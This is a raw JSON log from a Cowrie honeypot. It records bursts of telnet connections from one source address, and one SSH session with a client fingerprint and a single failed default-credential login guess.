{"eventid":"cowrie.session.closed","duration":31.069152116775513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:26.819089Z","src_ip":"51.161.172.108","session":"51a19a3381ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39560079574585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:26.852824Z","src_ip":"51.161.172.108","session":"9856efca3d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36394,"dst_ip":"159.203.135.109","dst_port":23,"session":"61e698c9c72e","protocol":"telnet","message":"New connection: 51.161.172.108:36394 (159.203.135.109:23) [session: 61e698c9c72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:26.984578Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36404,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac54b0e9550c","protocol":"telnet","message":"New connection: 51.161.172.108:36404 (159.203.135.109:23) [session: ac54b0e9550c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.059416Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36368,"dst_ip":"159.203.135.109","dst_port":23,"session":"de57c43dd87e","protocol":"telnet","message":"New connection: 51.161.172.108:36368 (159.203.135.109:23) [session: de57c43dd87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.087209Z"}
{"eventid":"cowrie.session.closed","duration":30.904735565185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.191124Z","src_ip":"51.161.172.108","session":"c5ee4b75554e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680301904678345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.241735Z","src_ip":"51.161.172.108","session":"ea42666ff1cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08702254295349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.314637Z","src_ip":"51.161.172.108","session":"e71e8515d06a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36428,"dst_ip":"159.203.135.109","dst_port":23,"session":"805ddef37432","protocol":"telnet","message":"New connection: 51.161.172.108:36428 (159.203.135.109:23) [session: 805ddef37432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.545551Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36438,"dst_ip":"159.203.135.109","dst_port":23,"session":"536a5229a461","protocol":"telnet","message":"New connection: 51.161.172.108:36438 (159.203.135.109:23) [session: 536a5229a461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.875398Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac361bcdfe4b","protocol":"telnet","message":"New connection: 51.161.172.108:36450 (159.203.135.109:23) [session: ac361bcdfe4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.969804Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36460,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf2d285f624","protocol":"telnet","message":"New connection: 51.161.172.108:36460 (159.203.135.109:23) [session: 2bf2d285f624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.975117Z"}
{"eventid":"cowrie.session.closed","duration":31.4796462059021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:27.991567Z","src_ip":"51.161.172.108","session":"170b93919cf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.710038900375366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.044476Z","src_ip":"51.161.172.108","session":"c74e0f653262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426303386688232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.132480Z","src_ip":"51.161.172.108","session":"fc171fd4fe4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.338627099990845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.240583Z","src_ip":"51.161.172.108","session":"eaf4724ce207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36474,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed57240333c1","protocol":"telnet","message":"New connection: 51.161.172.108:36474 (159.203.135.109:23) [session: ed57240333c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.341319Z"}
{"eventid":"cowrie.session.closed","duration":33.55777597427368,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.418549Z","src_ip":"51.161.172.108","session":"8ced58b025ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14796824103","protocol":"telnet","message":"New connection: 51.161.172.108:36490 (159.203.135.109:23) [session: b14796824103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.867080Z"}
{"eventid":"cowrie.session.closed","duration":31.71512198448181,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.892110Z","src_ip":"51.161.172.108","session":"f692d29b74b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.749321937561035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:28.974464Z","src_ip":"51.161.172.108","session":"4206ae0037d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36518,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeacd20726a3","protocol":"telnet","message":"New connection: 51.161.172.108:36518 (159.203.135.109:23) [session: aeacd20726a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.073535Z"}
{"eventid":"cowrie.session.closed","duration":30.719022512435913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.159945Z","src_ip":"51.161.172.108","session":"882b07163671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36510,"dst_ip":"159.203.135.109","dst_port":23,"session":"47cc9b16aeac","protocol":"telnet","message":"New connection: 51.161.172.108:36510 (159.203.135.109:23) [session: 47cc9b16aeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.164808Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36532,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d1adaa0562","protocol":"telnet","message":"New connection: 51.161.172.108:36532 (159.203.135.109:23) [session: d2d1adaa0562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.193118Z"}
{"eventid":"cowrie.session.closed","duration":30.747320652008057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.232411Z","src_ip":"51.161.172.108","session":"5552da9dd30f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":50214,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3cf187c48aa","protocol":"ssh","message":"New connection: 160.251.101.169:50214 (10.17.0.5:22) [session: d3cf187c48aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.266382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.270744Z","src_ip":"160.251.101.169","session":"d3cf187c48aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54508,"dst_ip":"159.203.135.109","dst_port":22,"session":"3519a9e58fd7","protocol":"ssh","message":"New connection: 122.168.114.167:54508 (159.203.135.109:22) [session: 3519a9e58fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.315039Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.433321Z","src_ip":"160.251.101.169","session":"d3cf187c48aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80803632736206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.446923Z","src_ip":"51.161.172.108","session":"76aec01d75c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634149312973022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.458916Z","src_ip":"51.161.172.108","session":"b76977194907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08849596977234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.607961Z","src_ip":"51.161.172.108","session":"5bd11bc0d011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133228063583374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.736998Z","src_ip":"51.161.172.108","session":"a62d3ca2a7cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13363480567932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.743059Z","src_ip":"51.161.172.108","session":"4a3efe4db7dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59108,"dst_ip":"159.203.135.109","dst_port":23,"session":"f151bdffd877","protocol":"telnet","message":"New connection: 51.161.172.108:59108 (159.203.135.109:23) [session: f151bdffd877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.820764Z"}
{"eventid":"cowrie.session.closed","duration":31.374634265899658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.850085Z","src_ip":"51.161.172.108","session":"eba623dc45f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59112,"dst_ip":"159.203.135.109","dst_port":23,"session":"456a03db8ed2","protocol":"telnet","message":"New connection: 51.161.172.108:59112 (159.203.135.109:23) [session: 456a03db8ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.865339Z"}
{"eventid":"cowrie.session.closed","duration":31.296834230422974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:29.996806Z","src_ip":"51.161.172.108","session":"0b4c1e8c1cac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu!","message":"login attempt [ubuntu/ubuntu!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.121145Z","src_ip":"160.251.101.169","session":"d3cf187c48aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52280592918396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.156902Z","src_ip":"51.161.172.108","session":"cf29cad023e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.725361347198486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.204605Z","src_ip":"51.161.172.108","session":"d5e6d744f7bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59130,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c394c4e6d4","protocol":"telnet","message":"New connection: 51.161.172.108:59130 (159.203.135.109:23) [session: a0c394c4e6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.226027Z"}
{"eventid":"cowrie.session.closed","duration":31.014347791671753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.469522Z","src_ip":"51.161.172.108","session":"c28aff6324bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59134,"dst_ip":"159.203.135.109","dst_port":23,"session":"f745a5ddd585","protocol":"telnet","message":"New connection: 51.161.172.108:59134 (159.203.135.109:23) [session: f745a5ddd585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.543580Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59152,"dst_ip":"159.203.135.109","dst_port":23,"session":"a09b61430cef","protocol":"telnet","message":"New connection: 51.161.172.108:59152 (159.203.135.109:23) [session: a09b61430cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.572840Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59142,"dst_ip":"159.203.135.109","dst_port":23,"session":"38a586f7fd5f","protocol":"telnet","message":"New connection: 51.161.172.108:59142 (159.203.135.109:23) [session: 38a586f7fd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.612578Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59186,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ba5794a0c8","protocol":"telnet","message":"New connection: 51.161.172.108:59186 (159.203.135.109:23) [session: 52ba5794a0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.861501Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59176,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f40983107e7","protocol":"telnet","message":"New connection: 51.161.172.108:59176 (159.203.135.109:23) [session: 6f40983107e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.905300Z"}
{"eventid":"cowrie.session.closed","duration":31.728174209594727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:30.950491Z","src_ip":"51.161.172.108","session":"e734207d2c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57321000099182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.046014Z","src_ip":"51.161.172.108","session":"f40b58e94de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.665233850479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.172221Z","src_ip":"51.161.172.108","session":"05e5bfa48746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.497289180755615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.240624Z","src_ip":"51.161.172.108","session":"9d823c5b83b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.285241Z","src_ip":"160.251.101.169","session":"d3cf187c48aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59232,"dst_ip":"159.203.135.109","dst_port":23,"session":"a27e5457817f","protocol":"telnet","message":"New connection: 51.161.172.108:59232 (159.203.135.109:23) [session: a27e5457817f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.491585Z"}
{"eventid":"cowrie.session.closed","duration":31.38523006439209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.685932Z","src_ip":"51.161.172.108","session":"93ec6ec6502c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59256,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc063fb819de","protocol":"telnet","message":"New connection: 51.161.172.108:59256 (159.203.135.109:23) [session: dc063fb819de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.741407Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59268,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6aaf0f9407","protocol":"telnet","message":"New connection: 51.161.172.108:59268 (159.203.135.109:23) [session: af6aaf0f9407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:31.846418Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59282,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0cacf1b8aa6","protocol":"telnet","message":"New connection: 51.161.172.108:59282 (159.203.135.109:23) [session: c0cacf1b8aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.046179Z"}
{"eventid":"cowrie.session.closed","duration":30.440487384796143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.073469Z","src_ip":"45.10.154.244","session":"a77d9d580521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59298,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3d5cfe8816","protocol":"telnet","message":"New connection: 51.161.172.108:59298 (159.203.135.109:23) [session: 1f3d5cfe8816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.125313Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59310,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b532ca2849","protocol":"telnet","message":"New connection: 51.161.172.108:59310 (159.203.135.109:23) [session: 47b532ca2849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.230019Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59322,"dst_ip":"159.203.135.109","dst_port":23,"session":"117103ee165d","protocol":"telnet","message":"New connection: 51.161.172.108:59322 (159.203.135.109:23) [session: 117103ee165d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.399354Z"}
{"eventid":"cowrie.session.closed","duration":30.85160732269287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.444208Z","src_ip":"51.161.172.108","session":"e427a66d11b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843903064727783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.449740Z","src_ip":"51.161.172.108","session":"b629282ab895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59374,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cbd045200ac","protocol":"telnet","message":"New connection: 51.161.172.108:59374 (159.203.135.109:23) [session: 8cbd045200ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.624420Z"}
{"eventid":"cowrie.session.closed","duration":31.27393651008606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.637710Z","src_ip":"51.161.172.108","session":"56dcda9b440a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59244,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dee70d109f3","protocol":"telnet","message":"New connection: 51.161.172.108:59244 (159.203.135.109:23) [session: 3dee70d109f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.692965Z"}
{"eventid":"cowrie.session.closed","duration":31.566990852355957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.825284Z","src_ip":"51.161.172.108","session":"22fe09b78ff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59382,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b46ff068c19","protocol":"telnet","message":"New connection: 51.161.172.108:59382 (159.203.135.109:23) [session: 0b46ff068c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.852708Z"}
{"eventid":"cowrie.session.closed","duration":31.18480682373047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.883115Z","src_ip":"51.161.172.108","session":"e77773f3d5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59390,"dst_ip":"159.203.135.109","dst_port":23,"session":"88363131dc7e","protocol":"telnet","message":"New connection: 51.161.172.108:59390 (159.203.135.109:23) [session: 88363131dc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:32.978097Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59404,"dst_ip":"159.203.135.109","dst_port":23,"session":"35902d305237","protocol":"telnet","message":"New connection: 51.161.172.108:59404 (159.203.135.109:23) [session: 35902d305237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.104952Z"}
{"eventid":"cowrie.session.closed","duration":30.9246768951416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.219397Z","src_ip":"51.161.172.108","session":"8a7a4c1a05de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59448,"dst_ip":"159.203.135.109","dst_port":23,"session":"71e408b7707d","protocol":"telnet","message":"New connection: 51.161.172.108:59448 (159.203.135.109:23) [session: 71e408b7707d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.351216Z"}
{"eventid":"cowrie.session.closed","duration":30.868977308273315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.388031Z","src_ip":"51.161.172.108","session":"5f442f8647f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59476,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd0f534dfc40","protocol":"telnet","message":"New connection: 51.161.172.108:59476 (159.203.135.109:23) [session: fd0f534dfc40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.548186Z"}
